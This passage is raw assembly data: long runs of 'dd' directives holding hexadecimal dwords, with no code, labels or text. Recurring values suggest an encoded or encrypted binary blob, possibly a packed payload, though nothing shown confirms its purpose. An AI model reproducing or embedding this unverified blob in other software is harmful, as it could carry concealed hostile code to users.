365DB158h, 56AEB8DBh dd 4C394B32h, 0B1E1D264h, 372D8CC7h, 598AB132h, 87F54385h dd 56BAD047h, 63E6D752h, 84B00AE3h, 3636F9EEh, 95210F54h dd 56D33C3Dh, 0D3E5B132h, 5675B132h, 0BFBAB153h, 565DB13Ah dd 0EBB4BE6Ch, 3D6B89DFh, 5657B132h, 0E1DAD132h, 56EAD0F4h dd 30000252h, 0DB8E77B3h, 0A35DB153h, 30CEB132h, 0DD337588h dd 56ABD0C0h, 56D4383Dh, 5616B132h, 567A5832h, 0EC8B132h dd 5A41AE74h, 92DEEED0h, 1128C5CCh, 0BFABB11Ch, 56D5B122h dd 241F2B8Ch, 8E54B30Bh, 263691CCh, 0A0AF7259h, 565BB132h dd 30AFD132h, 37BBE68Ch, 5A3CB132h, 4DEAB132h, 0FC7E3D9Bh dd 0FE681068h, 0AF492B95h, 0BF52B132h, 5657B123h, 1F52801Eh dd 0F1623097h, 50457E41h, 45BF381Fh, 36BAB1EDh, 0C4D70B60h dd 0DCF59F7Ah, 5657D0F5h, 56A5303Dh, 5F3CB132h, 8DEAB132h dd 9D85FBE0h, 47648ED6h, 56A1B132h, 572DBE32h, 0AE57B132h dd 0E4CBB132h, 5E3CD0AAh, 4FEAB132h, 31A8417Eh, 56BAD1E3h dd 51DBBE32h, 36AEB132h, 0A1D777B9h, 0DAA4D088h, 56D5B139h dd 56EAB7DBh, 7AA6F232h, 56DC51ECh, 56535832h, 0E3DCB132h dd 0BB034840h, 2E90DC1Bh, 1F5CFB97h, 561FB132h, 0E17AD132h dd 56DB48F8h, 565D4932h, 56AEA5DBh, 0C997A832h, 0B09A3255h dd 4FA8C0A2h, 742C4504h, 0BD7E6AD9h, 36BAB110h, 39A3054h dd 56AED07Fh, 565C58CEh, 2A9EB132h, 11786BEBh, 6D540B5Eh dd 5975B1E1h, 56BAB0B0h, 565D4932h, 56AEB7DBh, 0C4F96C32h dd 36DE28EAh, 361F3054h, 0ADE50B76h, 56148506h, 713ABE32h dd 365DB132h, 56AEBFDAh, 3787A32h, 641149DAh, 9CB10323h dd 9923252h, 5675BDDBh, 46476532h, 637B724Dh, 698DB9CEh dd 56AFD0F5h, 56AB4D32h, 56D5A0DBh, 0B89DCB32h, 957576F1h dd 21E19703h, 548C48DBh, 56AED8FBh, 5657B8DBh, 39136532h dd 0C9A7DA83h, 56EACECBh, 5675A3DBh, 0E7846032h, 4E121536h dd 780D82D0h, 0F07BCA3Bh, 56C2B2ACh, 4051BE32h, 36EAB132h dd 5675BDDAh, 71823F32h, 0E7CF40CFh, 0A070BB62h, 3737EB7Bh dd 0BFABB153h, 56D5B139h, 0A797E859h, 5546F320h, 0AA505F1Eh dd 593DB132h, 56AEB3B1h, 0AA6D0032h, 0BFABB153h, 56D5B123h dd 8F1B83E8h, 0BCAF35B7h, 1280C978h, 1BD2417Ch, 59AEB177h dd 5657B0BEh, 56AB4832h, 56D95852h, 0F741B132h, 0EE605FC3h dd 148C4E74h, 563C0A5Dh, 56AE4832h, 0AE57B1C7h, 0BECBB132h dd 56D5B121h, 2D2B989Bh, 3DDBE596h, 3333CF03h, 5809F50Ah dd 0D7BD115Bh, 0D64A62F3h, 8F2BEE21h, 0D7DAD00Bh, 56EAB133h dd 0BF75B1CBh, 56BAB135h, 343AE97Bh, 56694FDBh, 5ED7BE32h dd 59ABB132h, 56D5B3BDh, 568BD132h, 567B5832h, 41FEB132h dd 0F49C6F9Dh, 0B80DC269h, 66B0AEE5h, 5657B132h, 4F5BBE32h dd 0BFEAB132h, 5675B126h, 0DEF18238h, 8762EC49h, 11558D9Ah dd 0D26EAD68h, 0ED8DA0ACh, 36D5B1CAh, 56EB363Dh, 308DB132h dd 378DA78Ah, 0DC52B132h, 56AEB133h, 3657B1CAh, 0BE780E3Dh dd 56D5B13Ch, 5F9D4ABEh, 7ABC2EB0h, 6E55A33Eh, 37060ABCh dd 5147B132h, 8557B132h, 610DF2Fh, 56D575E6h, 56EB363Dh dd 0BF8CB132h, 56BAB13Fh, 0E2E3AC91h, 432624E5h, 7D384300h dd 59ABB189h, 56D5B9BCh, 0AD55D132h, 0AA4CC281h, 0BFBAB153h dd 565DB123h, 9CD0B19Eh, 4C108A70h, 775FF6B7h, 2FADEE28h dd 56EA44F3h, 5EEE0952h, 0DDDCB471h, 565DD0C3h, 4B10D752h dd 88D6D702h, 56CADAF5h, 56C55832h, 0DA43B132h, 0F72F1B39h dd 0CC1D19E0h, 2E4AC26h, 56AEAE1Fh, 56563B3Dh, 5653B132h dd 5053BE32h, 36EAB132h, 0C24EE65h, 36BAB153h, 5324658Ah dd 0EF4B313Fh, 0BF57B153h, 56ABB126h, 0BE175272h, 4F05489Dh dd 959D362h, 5ECAC2E8h, 7B2138E5h, 0DAA1B132h, 5657B135h dd 56AA373Dh, 3620B132h, 4892E188h, 5675D025h, 553DBE52h dd 595DB132h, 0C716628Dh, 373D992Ch, 5657B132h, 0BD6CD132h dd 0BFE8F7F6h, 5675B13Ah dd 1DBB220Ch, 5343DF44h, 572BBE53h, 0A357B132h, 5653B132h dd 56C55832h, 0C637B132h, 29B9757Ch, 0D552479Dh, 3D454FB2h dd 59CE73D9h, 5657BDB1h, 56AC5832h, 5D7FB132h, 0E988A44Ah dd 567559A8h, 0D7E0B132h, 0B99309D8h, 56BC5835h, 8776B132h dd 89042FA8h, 93A694C7h, 0E81184DDh, 6A366D38h, 56BAB4DBh dd 4D033632h, 59CE7294h, 0DD31678Dh, 0D326D0F8h, 513B748Eh dd 56E63D3Dh, 0D77AB132h, 56BAB134h, 565D3B3Dh, 0D427B132h dd 51B8075Dh, 0CF293CCAh, 36D241A4h, 37280E3Dh, 36BB3A52h dd 0A669918Bh, 373CD17Eh, 0D02C3853h, 59505E84h, 56ABB9B2h dd 545BBE32h, 36EAB132h, 6F775953h, 5F53B132h, 675DB132h dd 4EC88623h, 9BFF2971h, 56A8A7DAh, 5057BE32h, 36EAB132h dd 3715EF61h, 0E8387653h, 565A5E87h, 59AEB132h, 5657B6B3h dd 3411D132h, 37D6F010h, 0D32C4460h, 519C976Bh, 5A35BE64h dd 595DB132h, 56AEB7B0h, 56D6BE32h, 3EABB132h, 0CA7D0960h dd 56EABEDBh, 1F4FB632h, 89546AD2h, 8F979E88h, 6F2E459Ah dd 5D4604CDh, 0D8A4B6DBh, 56D5B13Ah, 56E83F3Dh, 3715B132h dd 56BB3B3Dh, 0DBA1B132h, 0BA316AB7h, 565E5835h, 0BA3DB132h dd 706A6FD7h, 59628CBBh, 5675A3BDh, 5C52D132h, 0E95DB132h dd 0E73D5F75h, 79231FF5h, 0A9CAE856h, 0D35C49E2h, 5103AA33h dd 5675BFDBh, 0C61A4132h, 0A97EF999h, 0FF2B2D3Fh, 3CC1FCF4h dd 56A75836h, 0D9F5B132h, 703798CFh, 60C4510Dh, 0DCB5AC6Eh dd 565DB128h, 56BF5852h, 60ADB132h, 8D21BFA5h, 0AA19427Ah dd 31752C3h, 0E7012ACCh, 56D2D040h, 595DB122h, 56AEA1BFh dd 565C5832h, 7DA5B132h, 0BE3C051Ah, 0DF5CD62Eh, 5B35D91Fh dd 59DAB131h, 565DB4B0h, 0B02FD732h, 51BE63B0h, 49ABB132h dd 7A967D3Ah, 3C8B2D1Ch, 0DA7A4932h, 56BAB137h, 0AEF50652h dd 597E4E53h, 5657AFBBh, 4E20BE32h, 0BFD5B132h, 56EAB121h dd 9D00D541h, 131B0619h, 1617F381h, 404B05E6h, 0C85294Fh dd 56BB3B3Dh, 5D3CB132h, 39EAB132h, 8249020Dh, 97AA4EA2h dd 965688AEh, 57F9353Dh, 0DB58B132h, 56ABB13Bh, 8854D752h dd 378A8B9Bh, 0E8F73853h, 59BD5E87h, 565DA3BBh, 5A2BBE32h dd 0BF57B132h, 56ABB135h, 0C48BDD19h, 0DF8CEEDAh, 0B9C050B0h dd 16034935h, 0A35DB23Fh, 584749B9h, 0A957B132h, 520378B1h dd 41A6BE1Fh, 5B916926h, 96464D52h, 5838BE52h, 0BE5DB132h dd 56AEB13Ah, 0EF466ACBh, 5DAD84E2h, 996ABE6Dh, 0BF404253h dd 5675B122h, 0CDB4673Ch, 0CD4AC56h, 75A09F7Ch, 95B83297h dd 5E23BE60h, 59D5B132h, 56EAB3BEh, 3C14D132h, 0D7B5D136h dd 565DB120h, 56AEBDDAh, 0E3AC6B32h, 0F96AA433h, 0B45D3DEAh dd 5103EEB1h, 0DF75B132h, 9B2FBB73h, 3E3CF9A6h, 56AEA132h dd 5657BDDBh, 0ED132132h, 99497E78h, 0C3B3626Ch, 0EF24D128h dd 78E50614h, 373DD168h, 56AE313Dh, 3736B132h, 56AFB15Ah dd 56BF4832h, 0B86BD752h, 0ED137AA0h, 59DBE7E0h, 565DB0B0h dd 0C4514832h, 51BEAA33h, 56BF313Dh, 593CB132h, 73EAB132h dd 0F2605300h, 56C6374Ch, 43F1EE9Ch, 0BFF417FCh, 5657B139h dd 9232E84Dh, 0C57B5D23h, 0DF754F43h, 0B9CD21B0h, 5F53D135h dd 0F65DB132h, 393AAB66h, 72B2232Fh, 6E433052h, 0BF8C84D3h dd 56EAB135h, 903FF112h, 37EC6A9Ah, 0DA52D053h, 56AEB133h dd 0E8D23ACAh, 0AFAC5E87h, 56C2343Dh, 4403B132h, 4E75B132h dd 3A5AD5F2h, 52072E8Fh, 2B972665h, 0EA993A23h, 424272A2h dd 5FD5B132h, 0E80722F8h, 0F805A36h, 0CDB25h, 81F55385h dd 36D5519Bh, 87E0BE52h, 412D0961h, 378AD447h, 56EAA0DBh dd 0BBE90432h, 0E43EAC33h, 0D0B730Bh, 90162435h, 0D490B49Ch dd 5142ABB3h, 5695B132h, 2F6876CEh, 56725820h, 0AABAB122h dd 56505952h, 4B89B132h, 0CD234B68h, 7D0D4288h, 0FD8C0F2h dd 0EA152B3h, 3714C066h, 56A33A3Dh, 0EE3DB132h, 6CB91341h dd 5657BCDBh, 2EC53932h, 179C0CACh, 0D31EAF8h, 951450D8h dd 56BAA2DBh, 0C87E2832h, 15DDCA44h, 8A900EF7h, 0F32155Ch dd 0E8303D91h, 56F95852h, 6DD6B132h, 3D4E9034h, 0B681D085h dd 0CDED3846h, 771D7C29h, 0E8113AA2h, 0BFD25E87h, 56EAB13Fh dd 13EBA1E4h, 6C4D3E08h, 0E5C9BF6Bh, 56BC58D1h, 0EF5DB132h dd 57A760E9h, 79AAFD3Ch, 7E65940Bh, 9AFECE3Ah, 59BA8EB1h dd 565D75B6h, 582EBE32h, 3657B132h, 56AB393Dh, 8554B132h dd 4E1D2533h, 0D77AD153h, 56BAB132h, 37AF52B2h, 54BECEB1h dd 560D353Dh, 0DCA4B132h, 56D5B133h, 469532CEh, 20F1BE36h dd 0BFBAB132h, 565DB13Fh, 0CD32EA67h, 95630A30h, 4838FC77h dd 5F52BEE2h, 36EAB132h, 96100F54h, 376D063Dh, 364976B1h dd 0EF690E3Dh, 143FF2EEh, 0A9215853h, 473C4ECDh, 15EAB132h dd 0C76C2FCEh, 0D573BDABh, 0BC769181h, 0F2E21CE3h, 5747F6F5h dd 59ABB132h, 56D5B5BAh, 15ED132h, 0A9B75853h, 44534ECDh dd 675DB132h, 5326945Ah, 0FFE6ACAEh, 0B710D478h, 2DA21C78h dd 46AD7670h, 5675B131h, 56BB353Dh, 0BFA4B132h, 0A9514EAAh dd 0D258D0C7h, 56ABB133h, 5750BECBh, 0A3EAB132h, 57FFBEF1h dd 0AEBAB132h, 0A5D6D167h, 0DDCF4DB8h, 57D2BEDEh, 0A3ABB132h dd 0D7B3D152h, 59ED96C1h, 0BE144985h, 56BAB132h, 6CB73068h dd 59A95EE6h, 5657BFB1h, 56A25832h, 86DAB132h, 0D8A7FF39h dd 0AEF4A384h, 306A3B52h, 0DD3C77B9h, 0B9161580h, 0A4D6D135h dd 0E149642h, 56D5BADBh, 624E6A32h, 3BA36E48h, 6D6BC1C0h dd 5ED9BE53h, 36AEB132h, 5657353Dh, 0DDCAB132h, 0DF20B977h dd 0D4694D34h, 519A0996h, 9D3AD136h, 9EDCD73Fh, 37CF2D81h dd 59D4BE52h, 0BFABB132h, 56D5B138h, 0E8BF8CF6h, 43AF000Eh dd 9FDB1D7Eh, 565DBCDBh, 1A54B332h, 79665B39h, 0A5360EE9h dd 5217B8C1h, 5F03D132h, 8275B132h, 0A30D89Ah, 9B3D0523h dd 37703A54h, 0D731D152h, 0DD9D3AF4h, 0BE2DD0CBh, 56EAB132h dd 0A49F3068h, 36BD5EE6h, 0A7BC0B54h, 56A95853h, 142FB132h dd 625F9DA3h, 0C6673A38h, 0BFED5E8Ah, 5675B13Dh, 0C5E54A46h dd 7612AD62h, 0B4E42545h, 6D43FD4Fh, 0B9131580h, 0DA51BE35h dd 59EAB133h, 5675B0BCh, 68314D32h, 5652343Dh, 5C47B132h dd 0DB57B132h, 33715019h, 58A0AF9h, 56EF5809h, 641CB132h dd 0DD766BCCh, 57DDBEEDh, 0AEAEB132h, 5718073Dh, 56AA393Dh dd 0A029B132h, 596AB075h, 567593B7h, 8FB94832h, 565DBFDBh dd 6F96D132h, 0BEDDCC5Ah, 9157EB95h, 0BF814701h, 56EAB138h dd 5674333Dh, 7D4FB132h, 0BF1E4DEBh, 56AEB122h, 0DBA812A0h dd 52B9FA7Fh, 57C787FDh, 0D97176E6h, 0D3FE4871h, 51539B23h dd 37E2D152h, 59E23D37h, 30367E8Dh, 0AFFE73B3h, 865FD153h dd 37230E3Dh, 4DC83CB9h, 5853B6DBh, 0D25DB132h, 700FD74Ch dd 32158C79h, 620202A8h, 0DDB3D19Bh, 56E558E3h, 2FC6B132h dd 5BAD9348h, 27A5F4F6h, 51DF6B67h, 8E6CD0E9h, 56FA333Dh dd 6D20B132h, 1E6DBEEBh, 5975B132h, 56BAA2B8h, 56535832h dd 8B33B132h, 9353B1C0h, 0E3911AD8h, 0CB6BF598h, 59EE77B1h dd 5675A5B5h, 56B55832h, 0D35EB132h, 584392A4h, 83648D12h dd 0F794DCD7h, 0A800588Fh, 5E034ECDh, 1275B132h, 9957FB13h dd 6D887ECBh, 0E2ABEFDh, 5957B132h, 56ABA7BBh, 5E3DD132h dd 0C7EAB132h, 5626A711h dd 0E76ADEDh, 617777B3h, 0DFCFB243h, 0BF4C0C8Fh, 56B95835h dd 3C5CB132h, 56442AFAh, 907FD9D2h, 0FBCBD15Ah, 58EDE95Eh dd 0A950D9DBh, 5FBFD1CDh, 62ABB132h, 0D801B378h, 0D7B62BEDh dd 5675303Dh, 59E1B132h, 373C7E8Dh, 365272CEh, 7A9E3052h dd 3088D133h, 3756C08Dh, 56EAA0DBh, 0C1256532h, 0A651F04Ah dd 529ED410h, 0F06FCB6Ch, 56BFD36Bh, 0CABB132h, 803C5BB3h dd 5913B6DDh, 5675A5B6h, 56B55832h, 11D2B132h, 537A5E0Ch dd 38418552h, 25A54FCCh, 0C66F3A56h, 0A3ED5E8Ah, 5674B18Bh dd 5A30BE32h, 595DB132h, 56AEB7B4h, 56D0BE32h, 59ABB132h dd 56D5B0B9h, 96D94832h, 5675BFDBh, 0A9799732h, 0B89CC3DFh dd 9EBBCF17h, 0A5EEA9BEh, 5D23BE99h, 0BFD5B132h, 56EAB134h dd 0D28E9A1Dh, 0D4315732h, 51B209A2h, 56A75852h, 3087B132h dd 6A5950E1h, 0BFEE9FD7h, 56EAB138h, 0DC0FA038h, 6CD676BDh dd 593C5572h, 56AEA0BEh, 565B5832h, 0CADBB132h, 4D4208ACh dd 609E967Bh, 0D4FCE36Bh, 51550996h, 303DD0CAh, 0AAA6AD8Dh dd 36A27253h, 56AB59CBh, 0D78FB132h, 0B93D1DD8h, 5E9CD135h dd 0C3BAB132h, 0A06066BEh, 0D7752F5Ch, 0ACAE9FD5h, 0D4A4D010h dd 56D5B12Bh, 56EAA5DBh, 0F7BBE732h, 3025C84Ch, 0C6EF1442h dd 0C2C5D21Fh, 0CFCB90ACh, 0F2E7793h, 0D25814h, 0D78CE752h dd 81776FBh, 3749063Dh, 4930885Ah, 5A46D1E6h, 0D957B132h dd 8AF22948h, 0E9A8968Ah, 30788AFDh, 592E48B9h, 56BAB3B5h dd 3703E032h, 5DBF04CDh, 0DBA2B6DBh, 0BA346AB7h, 862A4435h dd 56EABADBh, 28E36732h, 0D4F6D2B2h, 0D10558B6h, 0DDC8D160h dd 0AEE8BEF4h, 3E5EE153h, 56D53132h, 0BFEADBCBh, 5675B13Fh dd 94B5C738h, 1F4BD86Eh, 783E4C66h, 0E8E54E0Ah, 36AC5E87h dd 81A3A61h, 37183A54h, 5675A3DBh, 21E50E32h, 75CD598Fh dd 365191F5h, 3E86CE9Ch, 0A99BC7F7h, 56DA58E2h, 283B132h dd 674512EFh, 0C7D21C07h, 8F2DBB48h, 0C56E984h, 0D657D9CEh dd 3C52B132h, 226CD132h, 0D7C482CFh, 3D11AC0h, 0E445D022h dd 51B209A2h, 56A95852h, 4A17B132h, 0A108BB6Dh, 0C08E085Ch dd 0A98BF824h, 0AA1448E2h, 59EF49F1h, 565DBCB1h, 56A65832h dd 0FBF7B132h, 0BD6004D7h, 0BA5E3450h, 56E63E3Dh, 0D27AB132h dd 56BAB134h, 565D3D3Dh, 0A3CEB132h, 5657B1DAh, 0BC2AEB32h dd 513A6835h, 56E4373Dh, 5F9CB132h, 0A2BAB132h, 53D1F2DEh dd 0BAE039DAh, 0BFABD1CEh, 56ABB137h, 96A8BF12h, 2361D0A1h dd 51FCBE3Ah, 36BAB132h, 39823054h, 0BE57D0B5h, 5657A16Fh dd 527D3052h, 59B7AF97h, 56EAB7BBh, 1B9F3032h, 37A3E82Eh dd 45B5D167h, 0F7AEB132h, 306B74DCh, 0B3F18735h, 0C3D5584Eh dd 229493B9h, 97FEA5CDh, 37743A69h, 0E03223CDh, 30CEB6DDh dd 3064658Ch, 3737528Ah, 23EE4D6Fh, 0FA6FBE3Eh, 0AF8A4ECDh dd 56AAB9DAh, 0A7DDD132h, 56BE589Eh, 312BB132h, 1FA4764h dd 0CE07D68h, 0BCE40610h, 37144D94h, 56AB393Dh, 5AB4B132h dd 8AAEB132h, 8AA5703Ch, 0F67E9599h, 9FD5A3FDh, 56E273C7h dd 5675BCDBh, 728CF832h, 0CA97E984h, 0E2DCCFCAh, 360252B9h dd 5F4349B9h, 0B0D5B132h, 0B375FFBFh, 74EECD9Dh, 0E413A54h dd 564D5853h, 0AD3FB132h, 494BB1A8h, 0B6494EA0h, 21CCAD08h dd 0BA61A775h, 5675A0DBh, 0FE764E32h, 0AD6E8BA3h, 28D2D5FEh dd 83900F1Ch, 92286DD3h, 0D7B3D1CEh, 4C78DD3h, 5675A1DBh dd 9730FD32h, 0BD82964h, 974E1E6Bh, 52E0097Eh, 0CAEBE0h dd 0B754D152h, 234835BFh, 2C6947B3h, 37DBE5EBh, 565DA3DBh dd 0FA98F032h, 652FF810h, 3FC95683h, 29851D1Eh, 1822931h dd 5675BFDBh, 5D087F32h, 0C17F4B52h, 83C3D68h, 521F88Ah dd 56BF343Dh, 593CB132h, 0EBEAB132h, 0C49C8AFh, 0F8C57431h dd 241B6EEh, 56462CD4h, 0C57B132h, 8C0E5BB3h, 592DB6DDh dd 56EABDB6h, 56725832h, 0EDC3B132h, 3AD4D6F7h, 5EDB3A86h dd 37820052h, 56ABBDDBh, 0AB5EEF32h, 0D1A30A7Fh, 7FD2FC23h dd 46C73A35h, 0D152E6CBh, 56AEB133h, 45BEE7CEh, 1FABB132h dd 6AE4283Eh, 0E66A84E0h, 7E6367F4h, 142C73CBh, 36B5BEBDh dd 59AEB133h, 5657B0B1h, 96A04932h, 561B353Dh, 0DD12B132h dd 44FFBECAh, 0BFBAB132h, 565DB13Fh, 3EF282A7h, 84A8F394h dd 811DFC54h, 0DDDAE405h, 56EAB124h, 5675A0DBh, 64AB0332h dd 0F739EE04h, 776DC186h, 52BB763Dh, 0DDA4CAC3h, 56D5B13Ah dd 56E8363Dh, 3715B132h, 0E0D523CDh, 5BB4B6DDh, 33AEB132h dd 1D68C6B3h, 1979596h, 0B41305ADh, 23D14D6Fh, 33F1BE3Eh dd 36BAB132h, 843054h, 552EBE1Eh, 3057B132h, 30CA68B9h dd 59B5AFB9h, 0DCE54A8Dh, 5675B131h, 376A3A54h, 0A3AD56B2h dd 5520BE52h, 5957B132h, 0A3F9498Dh, 485FD068h, 0A60931C7h dd 7F6459CEh, 0D1B5B132h, 565DB127h, 56AEA1DBh, 7340BB32h dd 7C92BBEFh, 35309AD3h, 606C5911h, 0A9765879h, 36464ECDh dd 37A33A54h, 0AE52CCBBh, 0A9A0B6DAh, 0D7CDD1CDh, 0EC4D8FE2h dd 1441F16Ch, 429CEA53h, 0ABAB132h, 50B9D5C6h, 9B7C75F6h dd 0F6B07E29h, 166870D3h, 93A20E5h, 56EABFDBh, 1B1E8B32h dd 0AFDE46DBh, 82292CF4h, 36DA8BBAh, 109E252h, 9E20D06Ch dd 0DDB5EF53h, 7E300BE3h, 0DD14EB60h, 59534D77h, 0B35DB132h dd 478DEB6Eh, 0D13C9503h, 0C22A81E1h, 9F29A05Eh, 56E673CAh dd 567C3F3Dh, 5DAB132h, 0A8430A6Ah, 3CF8461h, 5675323Dh dd 0BECBB132h, 56D5B137h, 979C4514h, 469CE9B8h, 6CBAB132h dd 0E8191B87h, 0F9FE4DAFh, 0BE097343h, 3747E409h, 0D52C5DB9h dd 11F49F6h, 5675BDDBh, 0AA759B32h, 77AA4DD8h, 2DB28D09h dd 59014983h, 56ABA9B0h, 56C65832h, 8BF6B132h, 8B7DF7C9h dd 82A88A7Dh, 0EA44622Ch, 0DCE7E517h, 58BEE00Eh, 81ABB132h dd 5FA71402h, 633E2E85h, 3060A5E0h, 5E3EBEFCh, 595DB132h dd 56AEB3BCh, 536D132h, 56A65952h, 0D993B132h, 5E277071h dd 4790F058h, 599C8AB1h, 0BF054A8Dh, 56AEB13Dh, 1FB66978h dd 0A9192B8Fh, 0B872DDF0h, 37D95E01h, 568DF4F5h, 36BAB132h dd 0AE9E3A54h, 742C7653h, 57505E8Ah, 0BFABB132h, 56D5B13Ch dd 0C9C765C5h, 0F8B483B8h, 84E1123Ch, 0DA523FF8h, 56AEB133h dd 5E223ACBh, 56A33F3Dh, 0D0DAB132h, 56EAB130h, 0DD13D052h dd 5C31BE2Ch, 365DB132h, 8B663188h, 0D0923150h, 0E8113A53h dd 59D25E87h, 56EAB6BDh, 57F8BE32h, 0AABAB132h, 565DB6DBh dd 98ED5732h, 0E5BA5756h, 36A3EEB9h, 945ED7CEh, 5931BA53h dd 5675EDB6h, 51534832h, 8E5DB132h, 175A96FBh, 886CCE7Dh dd 5698343Dh, 0DD20B132h, 5103BD6Fh, 1575B132h, 19B11E38h dd 9D4412Bh, 56BE583Eh, 44F8B132h, 0C6E8E112h, 0E00F39C6h dd 9CF6EC74h, 509CBE9Ah, 5CBAB132h, 9882D3C7h, 426932BAh dd 0A9C958CEh, 50424ECDh, 0B5D5B132h, 16F2AC5Fh, 48FED7A0h dd 56A8333Dh, 5BB4B132h, 0CAAEB132h, 4DE9ABF4h, 0B8DFEEF4h dd 31F75B50h, 0BE1131CBh, 521D353Dh, 5C53B132h, 0F15DB132h dd 0FDF85C3h, 0A3724EF9h, 422BBE41h, 0BFD5B132h, 56EAB13Dh dd 1B68F17Bh, 0B1EDE569h, 0C763004Ah, 0D63A9742h, 0D25858C9h dd 56ABB504h, 56DA5952h, 0C69B132h, 374273D2h, 176B876Eh dd 3E4916B0h, 56BF58FCh, 0BE19B132h, 333F739h, 0C66D2E99h dd 14B1C2A1h, 8AB0750h dd 56AF373Dh, 59B5B132h, 0D5AEB132h, 61955168h, 879DED53h dd 42723373h, 37B27F5Ah, 599E4AB2h, 56B954B6h, 56495832h dd 2063B132h, 0B0E59A9Ah, 0F364F8A1h, 0B3543245h, 0F9901563h dd 0ADF5B9C9h, 0E73EBED0h, 0BF5DB131h, 56AEB135h, 1E9F4081h dd 59216404h, 56D59DBEh, 5903D132h, 0AC75B132h, 250D0C26h dd 29ECAA6Dh, 987216C8h, 47BEBB3Dh, 61ABB132h, 87540639h dd 3102FB48h, 5CF6DB80h, 0CCBB51DDh, 0B5A63153h, 55E9353Dh dd 42BEB132h, 65ABB132h, 5DA28CECh, 67102845h, 3F9CB6EDh dd 5D75BE0Bh, 3012A41Dh, 0B5C94AB3h, 5511353Dh, 0D2A4B132h dd 56D5B13Eh, 56EC353Dh, 0D77AB132h, 56BAB132h, 59AD56B2h dd 56AEA4B7h, 56475832h, 652CB132h, 9E862F04h, 9AE43058h dd 3D5FDABBh, 0D7DC1E6Fh, 59DDBEC9h, 56ADACB6h, 86D7D132h dd 841CBE8Ah, 0A6363153h, 56EABFDBh, 88BC2032h, 48816A49h dd 3CA1FEFAh, 0D601269Fh, 0D258C1C9h, 56ABB3C4h, 56C75852h dd 0D3FFB132h, 7332ADFAh, 143D95FFh, 323A1BE4h, 12A5071Bh dd 0EB60854h, 4820D753h, 0B55544C7h, 4852D1CAh, 304A0DB9h dd 0BA2A56B3h, 0EEA63153h, 5767353Dh, 0BF37B132h, 56ABB126h dd 0BAA39816h, 0E58073F7h, 4157CB4Bh, 0AEFF753Fh, 2787E443h dd 56AEA2DBh, 75394432h, 9C34DC77h, 0D36F0C9Bh, 0E0F59115h dd 0CCB724C3h, 53843153h, 57D0353Dh, 0D657B132h, 0D2589C0Ch dd 56ABB0B1h, 56D9373Dh, 5103B132h, 6575B132h, 4DCECBF1h dd 68DD2B46h, 3E2ABE5Ah, 0A357B133h, 0FF18D152h, 56D5B9DBh dd 700D8432h, 79B92513h, 0A9DBD0BEh, 0B9E593B0h, 56A65835h dd 55E7B132h, 34CB92E9h, 0DDB3502Eh, 0ED8CD12Ch, 88F48B20h dd 5E358E82h, 0AEBA3153h, 0AD2FD7CBh, 0D25859B3h, 56ABB011h dd 56C45952h, 0B5B0B132h, 4CE39BEEh, 0D7ACA09Ch, 5F422830h dd 3042B0C8h, 0BD5572B3h, 377A3B6Dh, 56D2313Dh, 0D8E5B132h dd 5675B133h, 4831D7CEh, 565DB9DBh, 3FB6ED32h, 804E6CE8h dd 0A64C31C5h, 56D5BCDBh, 5602FC32h, 4093BE68h, 0A764AE0Ah dd 0D73B5F3Fh, 596E30C9h, 565777B6h, 572ABE32h, 0AED5B132h dd 30BDD152h, 0FF1B48Ch, 59EFD0CBh, 565DBFB7h, 5347D132h dd 5D57B132h, 50CF5FACh, 0A9B442B9h, 0B95CDEA0h, 0B894935h dd 56AB5952h, 8C84B132h, 0ECC2F69Fh, 32848A8Ch, 0FE8FD1E7h dd 30961A2Bh, 137042B3h, 372CE76Dh, 56973F3Dh, 0BE3DB132h dd 56AEB126h, 0D040B417h, 7EEE4539h, 18BF6E2Ch, 0DE52D68Ch dd 0F7EA1B0Ch, 56B6586Bh, 51C1B132h, 134F4D6Eh, 53E18AC1h dd 0DFCAA4C8h, 0DBDA4D77h, 56EAB13Ch, 5675B8DBh, 40533B32h dd 3D8294FBh, 0BFCFAA82h, 5657B134h, 0D154EC89h, 2B566C85h dd 0D3E5B0CEh, 5675B336h, 56BAA3DBh, 37568832h, 0ED2AF5DAh dd 1B560C14h, 435EFEA5h, 0DDC8012Fh, 0BFF03088h, 56735835h dd 1FF2B132h, 3A1289D4h, 56BC5862h, 8E44B132h, 0F34A6D02h dd 0FB9A6EDBh, 0F825DD98h, 0C48B0B9Eh, 0EE9833B9h, 6FA4B6DDh dd 0D1A1810Eh, 5657B135h, 56AA3E3Dh, 0E20B132h, 574C333Dh dd 599CB132h, 2BAB132h, 0DC3419E6h, 361AA06Eh, 9FAE00FFh dd 0EC20FD44h, 513CA34Bh, 0D1E5E1CBh, 5675B13Fh, 5635BE52h dd 0EC5DB132h, 61634F74h, 74D53A53h, 0BFAC5E8Ah, 56D5B13Ch dd 47CF526Bh, 0F5FD9271h, 12F86C5Fh, 6A64FDA4h, 0D8A14902h dd 5657B138h, 0D7503A52h, 1DC938F2h, 59B2D001h, 5674F2BDh dd 5E33BE32h, 595DB132h, 56AEB3B1h, 0BF36D132h, 56ABB104h dd 0AE9076CEh, 56EAB130h, 55FABE52h, 59BAB132h, 0BF3C438Dh dd 56AEB12Ch, 5657B6DBh, 9C98EA32h, 5FF75DD7h, 5712F4F5h dd 0AA75B132h, 59753A52h, 565DB1B7h, 0EC25D032h, 51B8048Ch dd 56AA323Dh, 0DD2DB132h, 56E7582Dh, 3E1B132h, 83D669BDh dd 94459E4Ah, 5DFF8B8Dh, 87D3BEE9h, 36ABB132h, 436377B9h dd 59348A53h, 5675C9B7h, 5738BE32h, 0AF5DB132h, 0AFA2ECB9h dd 56AFCCB1h, 5684353Dh, 453CB132h, 0A0EAB132h, 0CBFA711Bh dd 1EC57E71h, 0EE8E7EF5h, 0A894BBD6h, 0DD37A820h, 0BA8D0FAh dd 5C57BECAh, 36EAB132h, 7DAA5EB3h, 8031A7FEh, 52023853h dd 56AEBCDBh, 8B770432h, 0FD0CAEA5h, 1B4454F3h, 0D8E5C915h dd 5675B12Bh, 56BAA5DBh, 7A451832h, 0A073489Fh, 0ED2FB0FCh dd 0DFB06638h, 6E6F8FAAh, 422D3281h, 5660373Dh, 4653B132h dd 385DB132h, 0BEC8768Bh, 0F68F92E1h, 0EA63949Ah, 0BFFDF9F8h dd 0A9154E09h, 5675B6DBh, 0D2722C32h, 0AB6E55CDh, 53477101h dd 0AF57B132h, 0CC22958h, 56D156DBh, 0D78CD132h, 1C406C2h dd 37E3EB63h, 0AA433A54h, 0AFA2CCB9h, 59BC4AB2h, 56ABE8B6h dd 56D25832h, 0FC4BB132h, 829DA03Ah, 0A659316Eh, 26A631CAh dd 5624353Dh, 5FBEB132h, 3AABB132h, 0A72B3A53h, 